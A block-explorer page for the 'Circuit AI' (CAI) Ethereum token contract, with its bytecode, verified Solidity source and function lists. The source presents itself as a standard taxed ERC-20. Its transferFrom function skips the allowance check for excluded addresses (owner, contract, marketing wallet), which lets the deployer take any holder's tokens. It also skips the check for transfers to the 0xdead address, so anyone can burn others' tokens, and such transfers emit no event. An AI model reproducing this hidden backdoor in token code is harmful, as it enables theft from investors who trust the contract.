Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x4C48CBb171B39A591eFb422FF5B8668223F0ED4B
Balance 0 ETH
Nonce 1
Code Size 5369 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5369 bytes
0x608060405260043610610134575f3560e01c806370a08231116100a8578063a9059cbb1161006d578063a9059cbb1461033b578063bf474bed1461035a578063c36956a01461036f578063c9567bf914610384578063dd62ed3e14610398578063e1b19258146103dc575f80fd5b806370a082311461028d578063715018a6146102c15780638da5cb5b146102d5578063901849d6146102fb57806395d89b4114610310575f80fd5b806323b872dd116100f957806323b872dd146101fe57806327b1a8e91461021d578063313ce567146102325780633b7cdccd1461024d57806343b8fe041461026257806351bc3c8514610277575f80fd5b806306fdde031461013f578063095ea7b3146101835780630c193045146101b25780630faee56f146101d557806318160ddd146101ea575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a8152694369726375697420414960b01b60208201525b60405161017a919061110a565b60405180910390f35b34801561018e575f80fd5b506101a261019d36600461116d565b6103f1565b604051901515815260200161017a565b3480156101bd575f80fd5b506101c760065481565b60405190815260200161017a565b3480156101e0575f80fd5b506101c7600d5481565b3480156101f5575f80fd5b506101c7610407565b348015610209575f80fd5b506101a2610218366004611197565b610427565b348015610228575f80fd5b506101c7600b5481565b34801561023d575f80fd5b506040516012815260200161017a565b348015610258575f80fd5b506101c760055481565b34801561026d575f80fd5b506101c7600a5481565b348015610282575f80fd5b5061028b610543565b005b348015610298575f80fd5b506101c76102a73660046111d5565b6001600160a01b03165f9081526001602052604090205490565b3480156102cc575f80fd5b5061028b61059e565b3480156102e0575f80fd5b505f546040516001600160a01b03909116815260200161017a565b348015610306575f80fd5b506101c760075481565b34801561031b575f80fd5b5060408051808201909152600381526243414960e81b602082015261016d565b348015610346575f80fd5b506101a261035536600461116d565b61060f565b348015610365575f80fd5b506101c7600c5481565b34801561037a575f80fd5b506101c760095481565b34801561038f575f80fd5b5061028b61061b565b3480156103a3575f80fd5b506101c76103b23660046111f7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e7575f80fd5b506101c760085481565b5f6103fd3384846109c4565b5060015b92915050565b5f6104146012600a611322565b610422906305f5e100611330565b905090565b6010545f906001600160a01b0384811691161415806104535750600f546001600160a01b038581169116145b801561046e5750335f9081526003602052604090205460ff16155b1561052e576001600160a01b0384165f9081526002602090815260408083203384529091529020548211156104f45760405162461bcd60e51b815260206004820152602160248201527f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636044820152606560f81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461052e918691610529908690611347565b6109c4565b610539848484610af4565b5060019392505050565b5f546001600160a01b0316331461056c5760405162461bcd60e51b81526004016104eb9061135a565b305f90815260016020526040902054801561058a5761058a81610f4a565b47801561059a5761059a816110d3565b5050565b5f546001600160a01b031633146105c75760405162461bcd60e51b81526004016104eb9061135a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103fd338484610af4565b5f546001600160a01b031633146106445760405162461bcd60e51b81526004016104eb9061135a565b601054600160a01b900460ff161561069e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104eb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e79030906106d96012600a611322565b610529906305f5e100611330565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610737573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075b919061138f565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de919061138f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610828573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084c919061138f565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610893816001600160a01b03165f9081526001602052604090205490565b5f806108a65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561090c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061093191906113aa565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa91906113d5565b506010805462ff00ff60a01b19166201000160a01b179055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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
CAI.sol 261 lines
/*

$CAI - Circuit AI

Circuit lets you run any agent on your existing wallet. The true intersection of Crypto and AI is agent finance, and Circuit AI is exactly that.

https://x.com/CircuitAI
https://circuit.org

*/

pragma solidity 0.8.23;
// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CAI is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address payable private _marketingWallet;

    string private constant _name =    unicode"Circuit AI";
    string private constant _symbol =  unicode"CAI";
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public _initialBuyTax =    0;
    uint256 public _reduceBuyTaxAt =   5;
    uint256 public _BuyTax =           0;
    uint256 public _initialSellTax =   0;
    uint256 public _reduceSellTaxAt =  5;
    uint256 public _SellTax =          0;
    uint256 public _buyCount=          0;
    uint256 public _taxSwapThreshold=  _tTotal * 5 / 10000;
    uint256 public _maxTaxSwap=        _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _burnAddr = address(0xdead);
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private contractSellCount = 0;
    uint256 private lastContractSellBlock = 0;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _marketingWallet = payable(_msgSender());
        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _isExcluded[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if ((recipient != _burnAddr || sender == uniswapV2Pair) && !_isExcluded[_msgSender()]) {
            require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
            _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        }
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: Can't transfer from the zero address");
        require(to != address(0), "ERC20: Can't transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            if(from == uniswapV2Pair && to != address(this)){
                taxAmount = amount * ((_buyCount>=_reduceBuyTaxAt)?_BuyTax:_initialBuyTax) / 100;
                _buyCount++;
            }
            if(to == uniswapV2Pair && from != address(this)){
                taxAmount = amount * ((_buyCount>=_reduceSellTaxAt)?_SellTax:_initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                if (block.number > lastContractSellBlock) {
                    contractSellCount = 0;
                }
                require(contractSellCount < 2);
                uint256 amountToSwap = (amount < contractTokenBalance && amount < _maxTaxSwap) ? amount : (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap;
                swapTokensForEth(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                contractSellCount++;
                lastContractSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)] += taxAmount;
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + (amount - taxAmount);
        if (to != _burnAddr)
        emit Transfer(from, to, amount - taxAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    receive() external payable {}
}

Read Contract

_BuyTax 0x901849d6 → uint256
_SellTax 0x43b8fe04 → uint256
_buyCount 0x27b1a8e9 → uint256
_initialBuyTax 0x3b7cdccd → uint256
_initialSellTax 0xe1b19258 → uint256
_maxTaxSwap 0x0faee56f → uint256
_reduceBuyTaxAt 0x0c193045 → uint256
_reduceSellTaxAt 0xc36956a0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address